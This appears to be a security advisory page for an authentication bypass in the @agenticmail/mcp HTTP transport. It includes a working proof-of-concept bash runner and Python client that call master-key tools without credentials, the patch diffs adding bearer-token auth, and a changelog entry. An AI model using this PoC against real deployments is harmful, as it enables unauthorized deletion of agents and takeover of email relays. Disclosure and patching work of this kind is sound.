@agenticmail/mcp Missing Authentication for Critical Function
Description
# AgenticMail MCP HTTP authorization bypass
Summary
@agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly.
The problem is that the MCP server also exposes tools documented as requiring AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key.
Impact
An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.
Confirmed with a read-only tool:
setup_guide
The same path reaches higher-impact tools such as:
setup_email_relaysetup_email_domaindelete_agentcleanup_agentssend_test_email
Affected
Code
packages/mcp/src/index.tspackages/mcp/src/tools.tspackages/mcp/README.md
Relevant observations:
- packages/mcp/src/index.ts starts an HTTP server for /mcp without checking an Authorization header. - packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools and forwards them with the server-side AGENTICMAIL_MASTER_KEY. - packages/mcp/README.md documents that gateway/admin tools require the master key.
Reproduction
Use the bundled one-command PoC runner:
cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh
Expected success output:
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`
PoC
Files
- scripts/run_agenticmail_mcp_http_unauth_poc.sh - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes. - scripts/agenticmail_mcp_http_unauth_poc.py - Unauthenticated MCP client that sends initialize and then calls setup_guide.
Inline
PoC
The following PoC is non-destructive. It calls setup_guide, which is documented as a master-key tool but only returns setup guidance.
scripts/run_agenticmail_mcp_http_unauth_poc.sh
#!/usr/bin/env bash
set -euo pipefail
REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"
API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"
mkdir -p "$DATA_DIR" "$LOG_DIR"
node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
exit 2
fi
find_free_port() {
python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
print(sock.getsockname()[1])
PY
}
[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"
api_pid=""
mcp_pid=""
cleanup() {
set +e
[[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
[[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT
wait_tcp() {
local host="$1"
local port="$2"
local name="$3"
for _ in $(seq 1 60); do
if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
sock.connect((sys.argv[1], int(sys.argv[2])))
sys.exit(0)
except Exception:
sys.exit(1)
finally:
sock.close()
PY
then
echo "[+] $name is listening: $host:$port"
return 0
fi
sleep 1
done
echo "[-] Timed out waiting for $name: $host:$port" >&2
return 1
}
cd "$REPO_DIR"
echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
export AGENTICMAIL_API_HOST="$API_HOST"
export AGENTICMAIL_API_PORT="$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"
echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"
echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"
scripts/agenticmail_mcp_http_unauth_poc.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import json
import sys
import urllib.error
import urllib.request
def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
data = json.dumps(payload).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session_id:
headers["mcp-session-id"] = session_id
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="replace")
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return exc.code, dict(exc.headers), body
def parse_sse_or_json(body: str) -> list[dict]:
events: list[dict] = []
stripped = body.strip()
if not stripped:
return events
if stripped.startswith("{") or stripped.startswith("["):
parsed = json.loads(stripped)
return parsed if isinstance(parsed, list) else [parsed]
for line in body.splitlines():
if not line.startswith("data:"):
continue
data = line[len("data:") :].strip()
if not data:
continue
try:
events.append(json.loads(data))
except json.JSONDecodeError:
pass
return events
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
parser.add_argument("--tool", default="setup_guide")
args = parser.parse_args()
init_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
},
}
status, headers, body = post_json(args.url, init_payload)
print(f"[+] initialize HTTP status: {status}")
print(f"[+] initialize response body: {body[:500]}")
session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
if not session_id:
print("[-] No mcp-session-id header returned")
return 2
print(f"[+] received mcp-session-id without authentication: {session_id}")
post_json(args.url, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}, session_id=session_id)
status, _headers, body = post_json(args.url, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": args.tool, "arguments": {}},
}, session_id=session_id)
print(f"[+] tools/call({args.tool}) HTTP status: {status}")
print("[+] raw response:")
print(body)
if any("result" in msg for msg in parse_sse_or_json(body)):
print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
return 0
print("[-] Tool call did not return a result")
return 1
if __name__ == "__main__":
sys.exit(main())
Why
This Is a Vulnerability
The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality.
Suggested
Fix
- Require authentication for HTTP MCP mode.
- Bind the MCP HTTP server to
127.0.0.1by default. - Reject
/mcprequests that lack a valid bearer token or shared secret. - Disable master-key tools when the transport is unauthenticated.
Affected products
1Patches
27b9b05d97367CHANGELOG: 0.9.101 security entry for GHSA-63gr-g7jc-v8rg
1 file changed · +37 −0
CHANGELOG.md+37 −0 modified@@ -5,6 +5,43 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.9.101] - 2026-05-28 + +### Security — fixes GHSA-63gr-g7jc-v8rg (missing auth on `@agenticmail/mcp --http`) + +The optional Streamable HTTP transport (`agenticmail-mcp --http` / +`MCP_HTTP=1`) listened on all interfaces with no `Authorization` +check. A client that could reach the port could initialize an MCP +session and invoke master-key-only tools (`setup_email_relay`, +`setup_email_domain`, `delete_agent`, `cleanup_agents`, +`send_test_email`, …) because the server forwarded those calls +using its own `AGENTICMAIL_MASTER_KEY`. + +Stdio mode (the default) was never affected. If you didn't pass +`--http` or set `MCP_HTTP=1`, nothing changes for you — but upgrade +anyway. + +Fix in `packages/mcp/src/index.ts`: + +- Default-bind `/mcp` to `127.0.0.1`. Override with `--host=0.0.0.0` + or `MCP_HTTP_HOST=...`. Startup logs an explicit warning when + bound to a non-loopback interface. +- Require `Authorization: Bearer <token>` on every `/mcp` request + (constant-time compare via `crypto.timingSafeEqual`). +- Auto-mint the token on first start, persist to + `~/.agenticmail/mcp-http-token` (chmod 600). Override with + `MCP_HTTP_TOKEN` env or `--token=<value>`. +- `--insecure` brings back the old behavior for sandboxed test + environments only, with a loud warning at startup. +- `GET /health` stays open (returns only the session count). + +Reported by @SecurePatchOps. CVE assignment requested via GitHub; +the CVE ID will populate on the advisory page automatically once +MITRE assigns it. + +Release: `@agenticmail/mcp@0.9.27`, `@agenticmail/claudecode@0.2.32`, +`@agenticmail/codex@0.1.26`, `@agenticmail/cli@0.9.101`. + ## [0.9.100] - 2026-05-22 ### Fixed — `@agenticmail/core` failed to load with "Dynamic require of 'events' is not supported"
7d1791da7c8cSecurity 0.9.27: fix GHSA-63gr-g7jc-v8rg — HTTP MCP missing auth
6 files changed · +148 −13
agenticmail/package.json+3 −3 modified@@ -1,6 +1,6 @@ { "name": "@agenticmail/cli", - "version": "0.9.100", + "version": "0.9.101", "description": "Email, SMS & phone-call infrastructure for AI agents — real email addresses, phone numbers, and agent-driven outbound voice calls", "type": "module", "main": "dist/index.js", @@ -38,8 +38,8 @@ "json5": "^2.2.3" }, "optionalDependencies": { - "@agenticmail/claudecode": "^0.2.31", - "@agenticmail/codex": "^0.1.25" + "@agenticmail/claudecode": "^0.2.32", + "@agenticmail/codex": "^0.1.26" }, "devDependencies": { "tsup": "^8.4.0",
packages/claudecode/package.json+2 −2 modified@@ -1,6 +1,6 @@ { "name": "@agenticmail/claudecode", - "version": "0.2.31", + "version": "0.2.32", "description": "Claude Code integration for AgenticMail — surfaces every AgenticMail agent as a native Claude Code subagent so any Claude Code session can delegate to them with the Agent tool", "type": "module", "main": "dist/index.js", @@ -48,7 +48,7 @@ }, "dependencies": { "@agenticmail/core": "^0.9.37", - "@agenticmail/mcp": "^0.9.26", + "@agenticmail/mcp": "^0.9.27", "@anthropic-ai/claude-agent-sdk": "^0.2.140" }, "peerDependencies": {
packages/codex/package.json+2 −2 modified@@ -1,6 +1,6 @@ { "name": "@agenticmail/codex", - "version": "0.1.25", + "version": "0.1.26", "description": "OpenAI Codex CLI integration for AgenticMail — surfaces every AgenticMail agent as a native Codex subagent and wires the dispatcher daemon to the Codex SDK", "type": "module", "main": "dist/index.js", @@ -46,7 +46,7 @@ }, "dependencies": { "@agenticmail/core": "^0.9.37", - "@agenticmail/mcp": "^0.9.26", + "@agenticmail/mcp": "^0.9.27", "@iarna/toml": "^2.2.5" }, "peerDependencies": {
packages/mcp/package.json+1 −1 modified@@ -1,6 +1,6 @@ { "name": "@agenticmail/mcp", - "version": "0.9.26", + "version": "0.9.27", "mcpName": "io.github.agenticmail/mcp", "description": "MCP server for AgenticMail — give any AI client real email, SMS, and phone call-control capabilities", "type": "module",
packages/mcp/README.md+26 −0 modified@@ -8,6 +8,18 @@ The MCP (Model Context Protocol) server for [AgenticMail](https://github.com/age When connected, your AI agent can send emails and texts, check inboxes, reply to messages, receive verification codes, manage contacts, schedule emails, assign tasks to other agents, and more — all through natural language. The server provides 100 tools that cover every email, SMS, and agent management operation. +## ✨ Security — 0.9.27 + +**Fixes [GHSA-63gr-g7jc-v8rg](https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg)** — missing authentication on the optional Streamable HTTP transport (`--http` / `MCP_HTTP=1`). + +- `--http` mode now **binds to `127.0.0.1` by default** and **requires `Authorization: Bearer <token>`** on every `/mcp` request. +- The bearer token is auto-minted on first start and persisted to `~/.agenticmail/mcp-http-token` (chmod 600). Override with `MCP_HTTP_TOKEN` env or `--token=<value>`. +- Bind to other interfaces with `--host=0.0.0.0` or `MCP_HTTP_HOST=...` — startup logs an explicit warning when the endpoint is reachable from the network. +- `--insecure` brings back the old no-auth behavior for sandboxed test environments only. Startup prints a loud warning. +- Stdio mode (the default) was never affected. + +If you weren't using `--http` / `MCP_HTTP=1`, no action is needed. + ## ✨ What's new in 0.9.0 - **🧠 `get_thread_id` + `save_thread_memory`** — two new tools in the `multi_agent_extras` tier. Workers call `get_thread_id({uid})` once after reading a new message, then `save_thread_memory({threadId, summary, commitments?, openQuestions?, lastAction?, lastUid?})` at end-of-wake. The dispatcher reads the memory back into the next wake's prompt automatically. Pairs with the dispatcher-side ThreadCache to flatten wake cost — agents no longer have to re-read 10 prior messages every time. @@ -114,6 +126,20 @@ For desktop AI applications, add to your MCP configuration file. Example paths: ¹ Either `AGENTICMAIL_API_KEY` OR `AGENTICMAIL_MASTER_KEY` (or `AGENTICMAIL_ACCOUNT_KEYS_JSON`) must be set, but you don't strictly need all three. +### Optional Streamable HTTP transport (`--http`) + +Most users should stick with the default stdio transport — that's what every MCP client config above uses. For environments that need a long-lived HTTP endpoint (browser-based clients, remote-development tunnels, multi-host setups), pass `--http`: + +```bash +agenticmail-mcp --http # 127.0.0.1:8014, auth required +agenticmail-mcp --http --port=9001 +agenticmail-mcp --http --host=0.0.0.0 # expose on network (token still required) +agenticmail-mcp --http --token=mcphttp_xxx # use a known token instead of the minted one +agenticmail-mcp --http --insecure # sandbox/test only — disables auth +``` + +The token is read from (in order): `--token=...` flag, `MCP_HTTP_TOKEN` env, `~/.agenticmail/mcp-http-token` (auto-minted on first run). Clients must send `Authorization: Bearer <token>` on every request to `/mcp`. `GET /health` stays open and returns only the session count. + ### Per-call identity switching (`_account`) Every tool's input schema accepts an optional `_account: "<name>"` parameter. When passed, the server resolves that name to an apiKey (from `AGENTICMAIL_ACCOUNT_KEYS_JSON`, then falling back to a live master-keyed lookup of `/accounts`) and runs the call as that agent. Without `_account`, the call uses `AGENTICMAIL_API_KEY` as the default identity.
packages/mcp/src/index.ts+114 −5 modified@@ -6,7 +6,10 @@ import { toolDefinitions, handleToolCall } from './tools.js'; import { resourceDefinitions, handleResourceRead } from './resources.js'; import { setTelemetryVersion } from '@agenticmail/core'; import { createServer } from 'node:http'; -import { randomUUID } from 'node:crypto'; +import { randomUUID, timingSafeEqual } from 'node:crypto'; +import { readFileSync, writeFileSync, mkdirSync, existsSync, chmodSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join as joinPath } from 'node:path'; import { z, type ZodTypeAny } from 'zod'; import { coerceToArray, coerceToObject, coerceToNumber, coerceToBoolean } from './coerce.js'; @@ -299,12 +302,85 @@ function createMcpServer(): McpServer { const args = process.argv.slice(2); const httpFlag = args.includes('--http'); const portArg = args.find(a => a.startsWith('--port=')); +const hostArg = args.find(a => a.startsWith('--host=')); +const tokenArg = args.find(a => a.startsWith('--token=')); +const insecureFlag = args.includes('--insecure'); const httpPort = portArg ? parseInt(portArg.split('=')[1], 10) : (parseInt(process.env.MCP_PORT || '', 10) || 8014); +// Default-bind to loopback. Override with --host=0.0.0.0 or MCP_HTTP_HOST +// to expose on other interfaces. Historical behavior (pre-fix for +// GHSA-63gr-g7jc-v8rg) was to bind all interfaces, which exposed the +// admin-tool surface to the LAN. +const httpHost = hostArg ? hostArg.split('=')[1] : (process.env.MCP_HTTP_HOST || '127.0.0.1'); + +/** + * Resolve the bearer token required to call /mcp in HTTP mode. + * + * Resolution order: + * 1. --token=<value> CLI flag + * 2. MCP_HTTP_TOKEN env var + * 3. Persistent file at ~/.agenticmail/mcp-http-token (auto-minted on + * first run, chmod 600). Survives restarts so a user can wire the + * token into their MCP client config once and forget it. + * + * Returns null only when --insecure is passed. That flag is the explicit + * opt-out and prints a loud warning at startup so it can't happen by + * accident. + */ +function resolveHttpToken(): string | null { + if (insecureFlag) return null; + if (tokenArg) return tokenArg.split('=').slice(1).join('='); + if (process.env.MCP_HTTP_TOKEN) return process.env.MCP_HTTP_TOKEN; + const dir = joinPath(homedir(), '.agenticmail'); + const file = joinPath(dir, 'mcp-http-token'); + if (existsSync(file)) { + try { + const t = readFileSync(file, 'utf8').trim(); + if (t) return t; + } catch { /* fall through to mint */ } + } + const minted = 'mcphttp_' + randomUUID().replace(/-/g, ''); + try { + mkdirSync(dir, { recursive: true }); + writeFileSync(file, minted + '\n', { mode: 0o600 }); + chmodSync(file, 0o600); + } catch (err) { + console.error('[agenticmail-mcp] WARN: could not persist auth token to', file, '—', (err as Error).message); + } + return minted; +} + +/** + * Constant-time bearer-token check. Returns true iff the request carries + * `Authorization: Bearer <expected>`. Length-safe so an attacker can't + * distinguish "wrong token" from "wrong length" via timing. + */ +function checkAuth(req: import('node:http').IncomingMessage, expected: string): boolean { + const header = req.headers['authorization']; + if (typeof header !== 'string') return false; + const m = header.match(/^Bearer\s+(.+)$/i); + if (!m) return false; + const got = Buffer.from(m[1]); + const want = Buffer.from(expected); + if (got.length !== want.length) return false; + return timingSafeEqual(got, want); +} if (httpFlag || process.env.MCP_HTTP === '1') { // ─── HTTP/Streamable HTTP Transport ─────────────────────────────── // Supports both SSE streaming and direct JSON responses per MCP spec. - // Usage: agenticmail-mcp --http [--port=8014] + // Usage: agenticmail-mcp --http [--port=8014] [--host=127.0.0.1] + // [--token=<bearer>] [--insecure] + // + // Security model (post-GHSA-63gr-g7jc-v8rg): + // - Binds to 127.0.0.1 by default so the admin-tool surface is not + // reachable from other hosts on the network. + // - Requires `Authorization: Bearer <token>` on every /mcp request. + // Token is auto-minted on first run and stored at + // ~/.agenticmail/mcp-http-token (chmod 600). Override with + // MCP_HTTP_TOKEN or --token=. + // - --insecure disables both bind-restriction warnings and the auth + // check. Reserved for sandboxed test environments only. + const authToken = resolveHttpToken(); const server = createMcpServer(); // Map of session ID -> transport for stateful connections @@ -328,6 +404,21 @@ if (httpFlag || process.env.MCP_HTTP === '1') { return; } + // Authentication gate — every /mcp request (POST/GET/DELETE) must + // present the bearer token. Skipped only when --insecure was passed + // (authToken === null), which is logged loudly at startup. + if (authToken !== null && !checkAuth(req, authToken)) { + res.writeHead(401, { + 'Content-Type': 'application/json', + 'WWW-Authenticate': 'Bearer realm="agenticmail-mcp"', + }); + res.end(JSON.stringify({ + error: 'Unauthorized. Send Authorization: Bearer <token>. ' + + 'Token is at ~/.agenticmail/mcp-http-token or in MCP_HTTP_TOKEN.', + })); + return; + } + // Handle DELETE for session termination if (req.method === 'DELETE') { const sessionId = req.headers['mcp-session-id'] as string | undefined; @@ -392,11 +483,29 @@ if (httpFlag || process.env.MCP_HTTP === '1') { res.end(JSON.stringify({ error: 'Method not allowed. Use POST /mcp for JSON-RPC, GET /mcp for SSE stream.' })); }); - httpServer.listen(httpPort, () => { + httpServer.listen(httpPort, httpHost, () => { + const displayHost = httpHost === '0.0.0.0' || httpHost === '::' ? 'localhost' : httpHost; console.log(`🎀 AgenticMail MCP Server (Streamable HTTP)`); - console.log(` Endpoint: http://localhost:${httpPort}/mcp`); - console.log(` Health: http://localhost:${httpPort}/health`); + console.log(` Endpoint: http://${displayHost}:${httpPort}/mcp`); + console.log(` Health: http://${displayHost}:${httpPort}/health`); + console.log(` Bind: ${httpHost}`); console.log(` Transport: Streamable HTTP (SSE + JSON responses)`); + if (authToken === null) { + console.log(''); + console.log(' ⚠️ --insecure: bearer-token auth DISABLED on /mcp.'); + console.log(' ⚠️ Anyone who can reach the port can call master-key tools.'); + console.log(' ⚠️ Do not run this mode on untrusted networks.'); + } else { + console.log(` Auth: Bearer token required on /mcp`); + console.log(''); + console.log(' Connect an MCP client with:'); + console.log(` Authorization: Bearer ${authToken}`); + if (httpHost !== '127.0.0.1' && httpHost !== 'localhost' && httpHost !== '::1') { + console.log(''); + console.log(` ⚠️ Bound to ${httpHost} — endpoint is reachable from the network.`); + console.log(' ⚠️ Make sure the bearer token above is treated as a secret.'); + } + } }); // Graceful shutdown
Vulnerability mechanics
Root cause
"The MCP HTTP transport mode lacked an authentication layer, allowing unauthenticated clients to invoke master-key-protected tools."
Attack vector
A remote client that can reach the MCP HTTP port can initialize a session and call tools directly. The MCP server forwards calls to master-key-only tools using its own configured master key, bypassing the need for the client to possess the `AGENTICMAIL_MASTER_KEY` [ref_id=1]. This allows unauthenticated network clients to invoke administrative and gateway actions.
Confirmed with a read-only tool like `setup_guide`, the same path can reach higher-impact tools such as `setup_email_relay`, `setup_email_domain`, `delete_agent`, `cleanup_agents`, and `send_test_email` [ref_id=1].
Affected code
The vulnerability exists in `packages/mcp/src/index.ts`, which starts an HTTP server for `/mcp` without checking an `Authorization` header. Additionally, `packages/mcp/src/tools.ts` marks certain tools as requiring the `AGENTICMAIL_MASTER_KEY` and forwards these calls using the server's key, while `packages/mcp/README.md` documents these master-key requirements [ref_id=1].
What the fix does
The patch introduces an authentication layer to the HTTP MCP transport mode. It now defaults to binding to `127.0.0.1` and requires an `Authorization: Bearer <token>` header for all `/mcp` requests. The token is auto-generated and persisted to `~/.agenticmail/mcp-http-token`, or can be provided via environment variables or a command-line flag. This prevents unauthenticated clients from accessing master-key-protected tools [patch_id=5350191].
Preconditions
- networkThe attacker must be able to reach the MCP HTTP port.
- configThe MCP server must be started with the `--http` flag or have `MCP_HTTP=1` set.
Reproduction
Use the bundled one-command PoC runner: ```bash cd agenticmail ./scripts/run_agenticmail_mcp_http_unauth_poc.sh ```
Expected success output: ```text [+] received mcp-session-id without authentication: ... [+] tools/call(setup_guide) HTTP status: 200 [+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide` ```
Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
7- github.com/advisories/GHSA-63gr-g7jc-v8rgghsaADVISORY
- github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/CHANGELOG.mdghsa
- github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/README.mdghsa
- github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/src/index.tsghsa
- github.com/agenticmail/agenticmail/commit/7b9b05d973676e9f3d097c08b8e649f59bfc15d0ghsa
- github.com/agenticmail/agenticmail/commit/7d1791da7c8c8bd4e70d7081db48e18ab55f6736ghsa
- github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rgghsa
News mentions
0No linked articles in our index yet.